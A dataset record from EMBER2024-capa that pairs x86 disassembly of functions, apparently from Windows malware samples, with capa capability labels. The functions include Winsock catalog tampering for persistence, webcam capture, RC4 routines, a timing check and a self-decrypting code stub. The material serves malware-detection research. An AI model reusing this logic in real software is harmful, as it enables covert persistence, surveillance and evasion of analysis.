joyce8/EMBER2024-capa huggingface dataset:
Function at 0x4be610
Capabilities:
Delete registry key
Delete registry value

Disassembly:
push ecx
mov ecx, dword [esp + 8]
push esi
test ecx, ecx
mov dword [esp + 4], 0
je 0x4be67b
mov eax, dword [esp + 0x10]
test eax, eax
je 0x4be67b
mov esi, dword [esp + 0x14]
test esi, esi
jne 0x4be644
push eax
push ecx
call dword [sym.imp.ADVAPI32.dll_RegDeleteKeyA]
neg eax
sbb eax, eax
pop esi
inc eax
pop ecx
ret 0xc
lea edx, [esp + 4]
push edx
push 0xf003f
push 0
push eax
push ecx
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
test eax, eax
jne 0x4be66c
mov eax, dword [esp + 4]
push esi
push eax
call dword [sym.imp.ADVAPI32.dll_RegDeleteValueA]
test eax, eax
je 0x4be682
mov eax, dword [esp + 4]
test eax, eax
je 0x4be67b
push eax
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
xor eax, eax
pop esi
pop ecx
ret 0xc
mov eax, dword [esp + 4]
test eax, eax
je 0x4be691
push eax
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov eax, 1
pop esi
pop ecx
ret 0xc

Function at 0x4be6a0
Capabilities:
Persist via windows service
Query or enumerate registry value
Set registry value

Disassembly:
sub esp, 0x398
mov eax, dword [esp + 0x39c]
push esi
test eax, eax
push edi
mov esi, ecx
mov dword [esp + 8], 0
mov dword [esp + 0xc], 0x378
je 0x4be82b
mov ecx, dword [esp + 0x3a8]
test ecx, ecx
je 0x4be82b
mov edi, dword [esp + 0x3ac]
test edi, edi
je 0x4be82b
lea edx, [esp + 8]
push edx
push 0xf003f
push 0
push ecx
push eax
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
test eax, eax
jne 0x4be82b
mov edx, dword [esp + 8]
lea eax, [esp + 0xc]
lea ecx, [esp + 0x28]
push eax
push ecx
push 0
push 0
push str.PackedCatalogItem
push edx
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
test eax, eax
jne 0x4be7ec
cmp dword [esp + 0xc], 0x378
jne 0x4be7ec
lea eax, [esp + 0x28]
push eax
push edi
call fcn.004ed980
add esp, 8
test eax, eax
je 0x4be80c
cmp dword [esp + 0x154], 1
jne 0x4be80c
cmp dword [esp + 0x178], 2
jne 0x4be80c
mov ecx, dword [esp + 0x150]
lea edx, [esp + 0x10]
push ecx
push 0x8a81c4
push edx
call fcn.004ed032
mov eax, dword [esp + 0x18]
add esp, 0xc
lea ecx, [esp + 0x28]
lea edx, [esp + 0x10]
push 3
push str.SYSTEMCurrentControlSetServicesWinSock2ESPI11
push reloc.OLEAUT32.dll_SysReAllocString
push eax
push ecx
push edx
mov ecx, esi
call fcn.004be580
test eax, eax
je 0x4be7ec
or ecx, 0xffffffff
xor eax, eax
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
lea edx, [esp + 0x28]
mov eax, ecx
mov esi, edi
mov edi, edx
lea edx, [esp + 0x28]
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
mov eax, dword [esp + 8]
and ecx, 3
rep movsb byte es:[edi], byte [esi]
mov ecx, dword [esp + 0xc]
push ecx
push edx
push 3
push 0
push str.PackedCatalogItem
push eax
call dword [sym.imp.ADVAPI32.dll_RegSetValueExA]
test eax, eax
je 0x4be7ff
mov esi, dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov eax, dword [esp + 8]
test eax, eax
je 0x4be7f6
push eax
call esi
jmp 0x4be7f2
mov eax, dword [esp + 0x3b0]
test eax, eax
je 0x4be80c
inc dword [eax]
mov eax, dword [esp + 8]
test eax, eax
je 0x4be81b
push eax
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
pop edi
mov eax, 1
pop esi
add esp, 0x398
ret 0x10
pop edi
xor eax, eax
pop esi
add esp, 0x398
ret 0x10
Function at 0x4be840
Capabilities:
Persist via windows service
Query or enumerate registry value
Set registry value

Disassembly:
sub esp, 0x39c
mov eax, dword [esp + 0x3a0]
push esi
push edi
mov edi, ecx
test eax, eax
mov dword [esp + 8], 0
mov dword [esp + 0xc], 0
mov dword [esp + 0x10], 0x378
je 0x4be9ac
mov ecx, dword [esp + 0x3ac]
test ecx, ecx
je 0x4be9ac
mov edx, dword [esp + 0x3b0]
test edx, edx
je 0x4be9ac
mov esi, dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
lea edx, [esp + 8]
push edx
push 0xf003f
push 0
push ecx
push eax
call esi
test eax, eax
jne 0x4be9ac
mov edx, dword [esp + 8]
lea eax, [esp + 0x10]
lea ecx, [esp + 0x2c]
push eax
push ecx
push 0
push 0
push str.PackedCatalogItem
push edx
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
test eax, eax
jne 0x4be990
cmp dword [esp + 0x10], 0x378
jne 0x4be990
cmp dword [esp + 0x158], 1
jne 0x4be9b9
cmp dword [esp + 0x17c], 2
jne 0x4be9b9
mov eax, dword [esp + 0x154]
lea ecx, [esp + 0x14]
push eax
push 0x8a81c4
push ecx
call fcn.004ed032
add esp, 0xc
lea edx, [esp + 0xc]
push edx
push 0x20019
push 0
push str.SYSTEMCurrentControlSetServicesWinSock2ESPI11
push reloc.OLEAUT32.dll_SysReAllocString
call esi
test eax, eax
jne 0x4be990
mov ecx, dword [esp + 0xc]
lea eax, [esp + 0x14]
push eax
push ecx
mov ecx, edi
call fcn.004be9f0
test eax, eax
je 0x4be990
mov edx, dword [esp + 0x10]
push 3
push str.SYSTEMCurrentControlSetServicesWinSock2ESPI11
push reloc.OLEAUT32.dll_SysReAllocString
lea eax, [esp + 0x38]
push edx
lea ecx, [esp + 0x24]
push eax
push ecx
mov ecx, edi
call fcn.004be4f0
test eax, eax
je 0x4be990
mov edx, dword [esp + 0x10]
mov ecx, dword [esp + 8]
lea eax, [esp + 0x2c]
push edx
push eax
push 3
push 0
push str.PackedCatalogItem
push ecx
call dword [sym.imp.ADVAPI32.dll_RegSetValueExA]
test eax, eax
je 0x4be9b9
mov eax, dword [esp + 0xc]
mov esi, dword [sym.imp.ADVAPI32.dll_RegCloseKey]
test eax, eax
je 0x4be9a1
push eax
call esi
mov eax, dword [esp + 8]
test eax, eax
je 0x4be9ac
push eax
call esi
pop edi
xor eax, eax
pop esi
add esp, 0x39c
ret 0xc
mov eax, dword [esp + 0xc]
mov esi, dword [sym.imp.ADVAPI32.dll_RegCloseKey]
test eax, eax
je 0x4be9ca
push eax
call esi
mov eax, dword [esp + 8]
test eax, eax
je 0x4be9d5
push eax
call esi
pop edi
mov eax, 1
pop esi
add esp, 0x39c
ret 0xc
Function at 0x4be9f0
Capabilities:
Query environment variable
Query or enumerate registry value

Disassembly:
sub esp, 0x480
mov ecx, dword [esp + 0x484]
mov dword [esp], 0x378
test ecx, ecx
je 0x4beab1
mov eax, dword [esp + 0x488]
test eax, eax
je 0x4beab1
lea edx, [esp]
push edx
lea edx, [esp + 0x10c]
push edx
push 0
push 0
push eax
push ecx
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
test eax, eax
jne 0x4beab1
cmp dword [esp], 0x378
jne 0x4beab1
lea eax, [esp + 4]
push 0x104
lea ecx, [esp + 0x10c]
push eax
push ecx
call dword [sym.imp.KERNEL32.dll_ExpandEnvironmentStringsA]
test eax, eax
je 0x4beab1
lea edx, [esp + 4]
push edx
call fcn.004be480
add esp, 4
test eax, eax
je 0x4beab1
cmp dword [esp + 0x234], 1
jne 0x4beaa3
cmp dword [esp + 0x258], 2
jne 0x4beaa3
lea eax, [esp + 4]
push eax
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
test eax, eax
je 0x4beab1
push str.WSPStartup
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
test eax, eax
je 0x4beab1
mov eax, 1
add esp, 0x480
ret 8
xor eax, eax
add esp, 0x480
ret 8

Function at 0x4beac0
Capabilities:
Query environment variable

Disassembly:
sub esp, 0x104
push esi
mov esi, dword [esp + 0x10c]
test esi, esi
je 0x4beb1f
push esi
call fcn.004be480
add esp, 4
test eax, eax
je 0x4beb1f
lea eax, [esp + 4]
push 0x104
push eax
push esi
call dword [sym.imp.KERNEL32.dll_ExpandEnvironmentStringsA]
test eax, eax
je 0x4beb1f
lea ecx, [esp + 4]
push ecx
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
test eax, eax
je 0x4beb1f
push str.SetPara
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
neg eax
sbb eax, eax
pop esi
neg eax
add esp, 0x104
ret 4
xor eax, eax
pop esi
add esp, 0x104
ret 4
Function at 0x4bebb0
Capabilities:
Query or enumerate registry key

Disassembly:
sub esp, 0x110
push ebx
push ebp
mov ebp, dword [esp + 0x11c]
push esi
xor esi, esi
push edi
cmp ebp, esi
mov ebx, ecx
mov dword [esp + 0x10], esi
mov dword [esp + 0x14], esi
mov dword [esp + 0x18], esi
jne 0x4bebe4
pop edi
pop esi
pop ebp
xor eax, eax
pop ebx
add esp, 0x110
ret 4
push ebp
mov ecx, ebx
call fcn.004beac0
test eax, eax
jne 0x4bebfd
pop edi
pop esi
pop ebp
pop ebx
add esp, 0x110
ret 4
push ebp
mov ecx, ebx
call fcn.004beb30
cmp eax, 1
je 0x4bed8a
lea eax, [esp + 0x10]
push eax
push str.SYSTEMCurrentControlSetServicesWinSock2ParametersProtocol_Catalog9Catalog_Entries
push reloc.OLEAUT32.dll_SysReAllocString
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyA]
test eax, eax
je 0x4bec36
pop edi
pop esi
pop ebp
xor eax, eax
pop ebx
add esp, 0x110
ret 4
mov edx, dword [esp + 0x10]
mov edi, dword [sym.imp.ADVAPI32.dll_RegEnumKeyA]
lea ecx, [esp + 0x1c]
push 0x104
push ecx
push esi
push edx
call edi
test eax, eax
jne 0x4becb2
mov edx, dword [esp + 0x10]
lea eax, [esp + 0x14]
lea ecx, [esp + 0x1c]
push eax
push ecx
push edx
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyA]
test eax, eax
jne 0x4bed32
mov eax, dword [esp + 0x14]
push str.PackedCatalogItem
push eax
mov ecx, ebx
call fcn.004be9f0
mov ecx, dword [esp + 0x14]
test eax, eax
push ecx
je 0x4bed49
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov eax, dword [esp + 0x10]
lea edx, [esp + 0x1c]
inc esi
push 0x104
push edx
push esi
push eax
mov dword [esp + 0x24], 0
call edi
test eax, eax
je 0x4bec52
mov eax, dword [esp + 0x10]
lea edx, [esp + 0x1c]
xor esi, esi
push 0x104
push edx
push esi
push eax
mov dword [esp + 0x28], esi
call edi
test eax, eax
jne 0x4bed00
mov eax, dword [esp + 0x10]
lea ecx, [esp + 0x18]
push ecx
lea edx, [esp + 0x20]
push ebp
push edx
push eax
mov ecx, ebx
call fcn.004be6a0
test eax, eax
je 0x4bed32
mov edx, dword [esp + 0x10]
lea ecx, [esp + 0x1c]
inc esi
push 0x104
push ecx
push esi
push edx
call edi
test eax, eax
je 0x4becce
cmp dword [esp + 0x18], 1
jb 0x4bed32
mov edi, ebp
or ecx, 0xffffffff
xor eax, eax
push 1
repne scasb al, byte es:[edi]
not ecx
push str.SYSTEMCurrentControlSetServicesWinSock2ESPI11
dec ecx
push reloc.OLEAUT32.dll_SysReAllocString
push ecx
push ebp
push str.FileName
mov ecx, ebx
call fcn.004be580
cmp eax, 1
je 0x4bed7b
mov eax, dword [esp + 0x10]
test eax, eax
jne 0x4bed59
pop edi
pop esi
pop ebp
xor eax, eax
pop ebx
add esp, 0x110
ret 4
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov dword [esp + 0x14], 0
jmp 0x4bed32
push ebp
mov ecx, ebx
call fcn.004beda0
mov eax, dword [esp + 0x10]
push eax
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
pop edi
pop esi
pop ebp
xor eax, eax
pop ebx
add esp, 0x110
ret 4
mov eax, dword [esp + 0x10]
test eax, eax
je 0x4bed8a
push eax
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
pop edi
pop esi
pop ebp
mov eax, 1
pop ebx
add esp, 0x110
ret 4
Function at 0x4beda0
Capabilities:
Query or enumerate registry key

Disassembly:
sub esp, 0x10c
push ebp
mov ebp, dword [esp + 0x114]
push esi
xor esi, esi
push edi
cmp ebp, esi
mov edi, ecx
mov dword [esp + 0xc], esi
mov dword [esp + 0x10], 1
jne 0x4bedd2
pop edi
pop esi
xor eax, eax
pop ebp
add esp, 0x10c
ret 4
push esi
mov ecx, edi
call fcn.004beb30
test eax, eax
jne 0x4bedef
pop edi
pop esi
mov eax, 1
pop ebp
add esp, 0x10c
ret 4
lea eax, [esp + 0xc]
push eax
push str.SYSTEMCurrentControlSetServicesWinSock2ParametersProtocol_Catalog9Catalog_Entries
push reloc.OLEAUT32.dll_SysReAllocString
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyA]
test eax, eax
je 0x4bee16
pop edi
pop esi
xor eax, eax
pop ebp
add esp, 0x10c
ret 4
mov edx, dword [esp + 0xc]
push ebx
mov ebx, dword [sym.imp.ADVAPI32.dll_RegEnumKeyA]
lea ecx, [esp + 0x18]
push 0x104
push ecx
push esi
push edx
call ebx
test eax, eax
jne 0x4bee64
mov ecx, dword [esp + 0x10]
lea eax, [esp + 0x18]
push ebp
push eax
push ecx
mov ecx, edi
call fcn.004be840
test eax, eax
jne 0x4bee4d
mov dword [esp + 0x14], eax
mov eax, dword [esp + 0x10]
lea edx, [esp + 0x18]
inc esi
push 0x104
push edx
push esi
push eax
call ebx
test eax, eax
je 0x4bee33
push 0
push str.SYSTEMCurrentControlSetServicesWinSock2ESPI11
push reloc.OLEAUT32.dll_SysReAllocString
mov ecx, edi
call fcn.004be610
mov eax, dword [esp + 0x10]
pop ebx
test eax, eax
je 0x4bee87
push eax
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov eax, dword [esp + 0x10]
pop edi
pop esi
pop ebp
add esp, 0x10c
ret 4

Function at 0x4c3e50
Capabilities:
Capture webcam image

Disassembly:
mov eax, dword [esp + 8]
push ebx
push esi
mov esi, ecx
mov eax, dword [eax + 4]
cmp dword [esi + 0xec], 1
jne 0x4c3ef3
test eax, eax
jbe 0x4c3ef3
mov ecx, dword [esi + 0xbc]
test ecx, ecx
jle 0x4c3ef3
mov ecx, dword [esi + 0x1c]
push edi
push 0
push eax
push 0x419
push ecx
call dword [sym.imp.USER32.dll_SendMessageA]
mov edi, eax
mov eax, dword [esi + 0xbc]
inc edi
test eax, eax
jne 0x4c3e9e
xor esi, esi
jmp 0x4c3ea4
mov esi, dword [esi + 0xb4]
add esi, 4
xor ebx, ebx
test edi, edi
jbe 0x4c3ecf
push ebp
mov ebp, edi
add esi, 6
push esi
call fcn.00477900
add esi, eax
push esi
mov ebx, esi
call fcn.00477900
add esp, 8
add esi, eax
dec edi
dec ebp
jne 0x4c3eb0
pop ebp
test edi, edi
pop edi
jne 0x4c3ef3
test ebx, ebx
je 0x4c3ef3
mov edx, dword [esp + 0x10]
push 0x4e
add edx, 0x10
push ebx
push edx
call fcn.004ec3e0
add esp, 0xc
mov eax, 1
pop esi
pop ebx
ret 0xc
pop esi
xor eax, eax
pop ebx
ret 0xc
Function at 0x4c4035
Capabilities:
Capture webcam image

Disassembly:
sub esp, 0x44
push ebx
push ebp
push esi
mov esi, ecx
push edi
mov eax, dword [esi + 0x3c]
test eax, eax
je 0x4c414d
push eax
call dword [sym.imp.USER32.dll_IsWindow]
test eax, eax
je 0x4c414d
mov eax, dword [esi + 0x3c]
push eax
call fcn.004fea07
mov esi, eax
test esi, esi
je 0x4c414d
mov ebx, dword [esp + 0x58]
mov ecx, dword [esi + 0x1c]
mov ebp, dword [sym.imp.USER32.dll_SendMessageA]
push 0
push ebx
push 0x419
push ecx
call ebp
mov edi, eax
test edi, edi
jl 0x4c414d
mov ecx, esi
call fcn.004c3fa0
cmp edi, eax
jge 0x4c414d
mov eax, dword [esi + 0xc4]
mov edx, dword [esi + 0xc0]
mov dword [esp + 0x2c], eax
mov eax, dword [esp + 0x5c]
xor ecx, ecx
mov dword [esp + 0x28], edx
cmp eax, ecx
mov dword [esp + 0x30], eax
mov dword [esp + 0x34], ecx
mov dword [esp + 0x4c], ecx
mov dword [esp + 0x50], ecx
mov dword [esp + 0x38], edi
jne 0x4c40d3
mov dword [esp + 0x34], 1
jmp 0x4c412e
mov edx, dword [esi + 0x1c]
lea ecx, [esp + 0x18]
push ecx
push ebx
push 0x433
push edx
call ebp
test eax, eax
je 0x4c414d
mov eax, dword [esp + 0x60]
mov ecx, dword [esp + 0x18]
mov edx, dword [esp + 0x24]
mov dword [esp + 0x10], ecx
mov dword [eax], 0
mov ecx, dword [esi + 0x1c]
lea eax, [esp + 0x10]
add edx, 2
push eax
push ecx
mov dword [esp + 0x1c], edx
call dword [sym.imp.USER32.dll_ClientToScreen]
mov edx, dword [esp + 0x10]
mov eax, dword [esp + 0x14]
mov dword [esp + 0x34], 3
mov dword [esp + 0x3c], edx
mov dword [esp + 0x40], eax
xor ecx, ecx
push ecx
lea ecx, [esp + 0x2c]
push ecx
push 0x7d8
call fcn.004c3520
pop edi
pop esi
pop ebp
mov eax, 1
pop ebx
add esp, 0x44
ret 0xc
pop edi
pop esi
pop ebp
xor eax, eax
pop ebx
add esp, 0x44
ret 0xc
Function at 0x4cb220
Capabilities:
Get socket status

Disassembly:
sub esp, 0x10c
mov eax, dword [ecx]
lea ecx, [esp]
push ecx
push 0
lea edx, [esp + 0x10]
push 0
push edx
push 0
mov dword [esp + 0x14], 0
mov dword [esp + 0x18], 0
mov dword [esp + 0x20], eax
mov dword [esp + 0x1c], 1
call sub.WS2_32.dll_select
cmp eax, 0xffffffff
jne 0x4cb269
xor eax, eax
add esp, 0x10c
ret 4
mov edx, dword [esp + 0x110]
xor ecx, ecx
test eax, eax
setne cl
mov dword [edx], ecx
mov eax, 1
add esp, 0x10c
ret 4

Function at 0x4cb6e0
Capabilities:
Access peb ldr_data

Disassembly:
push 0xffffffffffffffff
push 0x50dcb0
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 8
push esi
mov esi, ecx
lea ecx, [esp + 4]
call fcn.004cb290
lea eax, [esp + 4]
lea ecx, [esi + 4]
push eax
mov dword [esp + 0x18], 0
call fcn.004cb310
lea ecx, [esp + 4]
push ecx
lea ecx, [esi + 0x14]
call fcn.004cb310
lea ecx, [esi + 0xc]
call fcn.004fcf43
lea ecx, [esi + 0x10]
call fcn.004fcf43
push 0xffffffffffffffff
push 0
lea ecx, [esi + 0x1c]
call fcn.004cc8a0
push 0xffffffffffffffff
push 0
lea ecx, [esi + 0x30]
call fcn.004cc8a0
push 0xffffffffffffffff
push 0
lea ecx, [esi + 0x44]
call fcn.004cc8a0
lea ecx, [esp + 8]
mov dword [esp + 0x14], 1
call fcn.004fcfb8
lea ecx, [esp + 4]
mov dword [esp + 0x14], 0xffffffff
call fcn.004fcfb8
mov ecx, dword [esp + 0xc]
pop esi
mov dword fs:[0], ecx
add esp, 0x14
ret
Function at 0x4cca90
Capabilities:
Check for time delay via gettickcount

Disassembly:
sub esp, 0xa0
push ebx
push ebp
mov ebp, dword [esp + 0xac]
push esi
push edi
push ebp
call sub.RASAPI32.dll_RasHangUpA
mov esi, dword [sym.imp.KERNEL32.dll_GetTickCount]
mov ecx, 0x28
xor eax, eax
lea edi, [esp + 0x10]
rep stosd dword es:[edi], eax
mov dword [esp + 0x10], 0xa0
call esi
mov edi, eax
call esi
sub eax, edi
cmp eax, 0xbb8
jae 0x4ccaf6
mov ebx, dword [sym.imp.KERNEL32.dll_Sleep]
lea eax, [esp + 0x10]
push eax
push ebp
call sub.RASAPI32.dll_RasGetConnectStatusA
cmp eax, 6
je 0x4ccaf6
push 0
call ebx
call esi
sub eax, edi
cmp eax, 0xbb8
jb 0x4ccad7
pop edi
pop esi
pop ebp
pop ebx
add esp, 0xa0
ret

Function at 0x4cf9a0
Capabilities:
Encrypt data using rc4 ksa

Disassembly:
push ecx
mov eax, dword [0x8f7d10]
xor edx, edx
cmp eax, edx
jne 0x4cf9c6
xor eax, eax
mov byte [eax + 0x8f7c10], al
inc eax
cmp eax, 0x100
jl 0x4cf9ae
mov dword [0x8f7d10], 1
mov eax, dword [esp + 0xc]
push ebx
mov ebx, dword [esp + 0x14]
push esi
push edi
mov ecx, 0x40
mov esi, 0x8f7c10
mov edi, ebx
rep movsd dword es:[edi], dword [esi]
cmp eax, edx
mov byte [ebx + 0x100], dl
mov byte [ebx + 0x101], dl
jle 0x4cfa57
xor esi, esi
push ebp
mov byte [esp + 0x20], dl
xor ecx, ecx
mov edi, dword [esp + 0x20]
mov ebp, dword [esp + 0x18]
mov al, byte [esi + ebx]
and edi, 0xff
xor edx, edx
mov dl, byte [edi + ebp]
mov ebp, eax
and ebp, 0xff
add ecx, edx
add ecx, ebp
and ecx, 0x800000ff
jns 0x4cfa2a
dec ecx
or ecx, 0xffffff00
inc ecx
mov byte [esp + 0x10], cl
mov ecx, dword [esp + 0x10]
and ecx, 0xff
mov dl, byte [ecx + ebx]
mov byte [esi + ebx], dl
mov byte [ecx + ebx], al
lea eax, [edi + 1]
cdq
idiv dword [esp + 0x1c]
inc esi
cmp esi, 0x100
mov byte [esp + 0x20], dl
jl 0x4cf9f8
pop ebp
pop edi
pop esi
pop ebx
pop ecx
ret

Function at 0x4cfa60
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 8
mov eax, dword [ebp + 0x10]
push ebx
push esi
push edi
mov cl, byte [eax + 0x100]
mov dl, byte [eax + 0x101]
mov dword [ebp - 8], eax
mov byte [ebp - 1], cl
mov byte [ebp - 2], dl
xor ebx, ebx
mov bl, byte [ebp - 1]
xor edx, edx
mov dl, byte [ebp - 2]
mov esi, dword [ebp - 8]
mov edi, dword [ebp + 8]
xor eax, eax
mov ecx, dword [ebp + 0xc]
test ecx, ecx
jle 0x4cfab3
inc bl
mov al, byte [esi + ebx]
add dl, al
xchg byte [esi + edx], al
mov byte [esi + ebx], al
add al, byte [esi + edx]
mov al, byte [esi + eax]
xor byte [edi], al
inc edi
dec ecx
jne 0x4cfa9a
mov byte [ebp - 1], bl
mov byte [ebp - 2], dl
mov eax, dword [ebp + 0x10]
mov cl, byte [ebp - 1]
mov dl, byte [ebp - 2]
pop edi
pop esi
mov byte [eax + 0x100], cl
mov byte [eax + 0x101], dl
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x4d6450
Capabilities:
Access peb ldr_data

Disassembly:
push 0xffffffffffffffff
push 0x50e0ae
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
push ecx
mov eax, dword [esp + 0x18]
push esi
push edi
mov edi, ecx
mov ecx, dword [esp + 0x1c]
push eax
push ecx
mov ecx, edi
mov dword [esp + 0x10], edi
call fcn.004d6d70
push 0x10
mov dword [esp + 0x18], 0
mov dword [edi], 0x88c15c
call fcn.004fccf9
mov esi, eax
add esp, 4
mov dword [esp + 0x20], esi
mov al, 1
test esi, esi
mov byte [esp + 0x14], al
je 0x4d64e3
push 4
mov byte [esi + 8], al
mov dword [esi], 0
mov dword [esi + 4], 0
call fcn.004fccf9
add esp, 4
mov dword [esp + 0x1c], eax
test eax, eax
mov byte [esp + 0x14], 2
je 0x4d64dc
push 0
mov ecx, eax
call fcn.004cd5d0
mov dword [esi + 0xc], eax
jmp 0x4d64e5
xor eax, eax
mov dword [esi + 0xc], eax
jmp 0x4d64e5
xor esi, esi
mov ecx, dword [esp + 0xc]
mov dword [edi + 0x30], esi
mov dword [edi + 0x34], 0
mov eax, edi
pop edi
pop esi
mov dword fs:[0], ecx
add esp, 0x10
ret 8

Function at 0x4ff3ab
Capabilities:
Get graphical window text

Disassembly:
push esi
mov esi, ecx
mov ecx, dword [esi + 0x38]
test ecx, ecx
jne 0x4ff3e3
push dword [esi + 0x1c]
call dword [sym.imp.USER32.dll_GetWindowTextLengthA]
lea ecx, [eax + 1]
push ecx
mov ecx, dword [esp + 0xc]
push eax
call fcn.004fd45f
push eax
push dword [esi + 0x1c]
call dword [sym.imp.USER32.dll_GetWindowTextA]
mov ecx, dword [esp + 8]
push 0xffffffffffffffff
call fcn.004fd437
jmp 0x4ff3ef
mov eax, dword [ecx]
push dword [esp + 8]
call dword [eax + 0x88]
pop esi
ret 4

Function at 0x500a9d
Capabilities:
Extract resource via kernel32 functions

Disassembly:
push ebx
push esi
push edi
xor edi, edi
cmp dword [esp + 0x10], edi
mov ebx, ecx
je 0x500adf
call fcn.0050683f
mov esi, dword [eax + 0xc]
push 0xf0
push dword [esp + 0x14]
push esi
call dword [sym.imp.KERNEL32.dll_FindResourceA]
cmp eax, edi
je 0x500adf
push eax
push esi
call dword [sym.imp.KERNEL32.dll_LoadResource]
cmp eax, edi
jne 0x500ad6
xor eax, eax
jmp 0x500ae7
push eax
call dword [sym.imp.KERNEL32.dll_LockResource]
mov edi, eax
push edi
mov ecx, ebx
call fcn.00500aed
pop edi
pop esi
pop ebx
ret 4

Function at 0x506d6f
Capabilities:
Get thread local storage value

Disassembly:
push ebx
push esi
mov esi, ecx
lea ebx, [esi + 0x1c]
push ebx
call dword [sym.imp.KERNEL32.dll_EnterCriticalSection]
cmp dword [esp + 0x10], 0
jne 0x506d9d
push dword [esi]
call dword [sym.imp.KERNEL32.dll_TlsGetValue]
test eax, eax
je 0x506dbb
push dword [esp + 0xc]
mov ecx, esi
push eax
call fcn.00506cd5
jmp 0x506dbb
mov eax, dword [esi + 0x14]
test eax, eax
je 0x506dbb
push edi
push dword [esp + 0x10]
mov edi, dword [eax + 4]
mov ecx, esi
push eax
call fcn.00506cd5
test edi, edi
mov eax, edi
jne 0x506da5
pop edi
push ebx
call dword [sym.imp.KERNEL32.dll_LeaveCriticalSection]
pop esi
pop ebx
ret 8
Function at 0x10026a2
Capabilities:
Accept command line arguments

Disassembly:
push 0x14
push 0x1002b08
call fcn.01001edc
xor edi, edi
mov dword [ebp - 0x1c], edi
mov dword [ebp - 0x20], edi
mov dword [ebp - 0x24], edi
mov dword [ebp - 4], edi
lea eax, [ebp - 0x24]
push eax
call dword [sym.imp.KERNEL32.dll_GetCommandLineW]
push eax
call dword [sym.imp.SHELL32.dll_CommandLineToArgvW]
mov esi, eax
mov dword [ebp - 0x20], esi
cmp esi, edi
jne 0x10026ef
call dword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, edi
jle 0x10026ea
and eax, 0xffff
or eax, 0x80070000
mov dword [ebp - 0x1c], eax
jmp 0x1002763
cmp dword [ebp - 0x24], 2
jne 0x100275c
push 0x1001650
push dword [esi + 4]
call sub.msvcrt.dll__wcsicmp
pop ecx
pop ecx
test eax, eax
jne 0x1002715
mov eax, dword [ebp + 8]
mov byte [eax], 1
push 0x1001478
jmp 0x1002755
push 0x1001664
push dword [esi + 4]
call sub.msvcrt.dll__wcsicmp
pop ecx
pop ecx
test eax, eax
jne 0x1002736
mov eax, dword [ebp + 8]
mov byte [eax + 1], 1
push 0x1001410
jmp 0x1002755
push 0x1001694
push dword [esi + 4]
call sub.msvcrt.dll__wcsicmp
pop ecx
pop ecx
test eax, eax
jne 0x100275c
mov eax, dword [ebp + 8]
mov byte [eax + 2], 1
push 0x10013c8
call fcn.01002511
jmp 0x1002763
mov dword [ebp - 0x1c], 0x80070057
mov dword [ebp - 4], 0xfffffffe
call fcn.0100277f
mov eax, dword [ebp - 0x1c]
call fcn.01001f21
ret 4

Function at 0x403d61
Capabilities:
Encode data using xor

Disassembly:
push eax
push ebx
mov eax, 0x499
mov ecx, 0x404498
mov bl, byte [ecx]
sub bl, 0xf2
rol bl, 2
sub bl, cl
ror bl, 1
mov byte [ecx], bl
dec ecx
dec eax
jne 0x403d6d
mov eax, 0x261d
mov ecx, 0x403764
mov bl, byte [ecx]
rol bl, 7
ror bl, 2
sub bl, cl
xor bl, 0x91
mov byte [ecx], bl
dec ecx
dec eax
jne 0x403d8a
pop ebx
pop eax
add ecx, 0x2c1a
jmp ecx
Function at 0x4109e4
Capabilities:
Encrypt data using rc4 prga

Disassembly:
cmp eax, edx
je 0x410a8d
test eax, edx
je 0x410a90
push 0
push 0
cmp word [eax - 0xa], 2
je 0x410a0d
push edx
mov edx, eax
mov eax, esp
call fcn.00406ffc
pop edx
mov eax, dword [esp]
cmp word [edx - 0xa], 2
je 0x410a23
push eax
lea eax, [esp + 8]
call fcn.00406ffc
pop eax
mov edx, dword [esp + 4]
movzx ecx, word [edx]
cmp cx, word [eax]
je 0x410a32
movzx eax, word [eax]
sub eax, ecx
jmp 0x410a59
push ebx
mov ebx, dword [eax - 4]
xor ecx, ecx
sub ebx, dword [edx - 4]
push ebx
adc ecx, 0xffffffff
and ecx, ebx
sub ecx, dword [eax - 4]
shl ecx, 1
sub eax, ecx
sub edx, ecx
mov ebx, dword [ecx + eax]
xor ebx, dword [ecx + edx]
jne 0x410a73
add ecx, 4
js 0x410a4a
pop eax
pop ebx
mov ecx, esp
mov edx, dword [ecx]
or edx, dword [ecx + 4]
je 0x410a70
push eax
mov eax, ecx
mov edx, 2
call fcn.004061ec
pop eax
pop edx
pop edx
ret
bsf ebx, ebx
shr ebx, 4
add ebx, ebx
add ecx, ebx
jns 0x410a57
movzx eax, word [ecx + eax]
movzx edx, word [ecx + edx]
sub eax, edx
pop ebx
pop ebx
jmp 0x410a59
xor eax, eax
ret
test eax, eax
je 0x410aa0
test edx, edx
jne 0x4109f4
mov eax, dword [eax - 4]
ret
sub eax, dword [edx - 4]
ret